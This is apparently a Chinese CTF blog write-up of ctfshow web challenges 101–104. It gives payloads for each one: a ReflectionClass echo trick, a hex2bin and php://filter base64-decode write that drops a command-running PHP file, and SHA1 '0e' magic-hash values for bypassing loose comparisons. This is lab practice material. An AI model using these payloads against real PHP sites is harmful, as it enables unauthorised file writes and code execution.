0%

ctfshow web入门101~104

web101

1
2
当新建ReflectionClass类并传入PHP代码时,会返回代码的运行结果,可以通过echo显示
即使传入了空的括号,代码依旧可以运行,且error_reporting(0)的存在阻止了报错

v1必须是数字,v2可以使用可以使用反射类new ReflectionClass(),v3没有过滤;
payload:

1
v1=1&v2=echo new Reflectionclass&v3=;

0x2d还是-,然后最后一位需要自己猜。

web102

1
2
3
4
5
is_numeric() 函数用于检测变量是否为数字或数字字符串,如果指定的变量是数字和数字字符串则返回true,否则返回false。如果字符串中含有一个e代表科学计数法,也可返回true

call_user_func() 函数用于调用方法或者变量,第一个参数是被调用的函数,第二个是调用的函数的参数

file_put_contents() 函数应该都熟悉了,写入内容到文件中,第一个参数是文件名,第二个参数是内容

要确保v4为真,就要确保v2是数字.将v2进行base64编码然后再转换成16进制。
payload:

1
2
v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=2.php
POST:v1=hex2bin

然后访问2.php查看源码就能找到flag。

web103

找不到服务器,做不了题.

web104


因为没有判断,可以直接让两个值相等,也可以用数组绕过,也可以用两个相等的sha1的值。

1
2
3
4
aaK1STfY
0e76658526655756207688271159624026011393
aaO8zKZF
0e89257456677279068558073954252716165668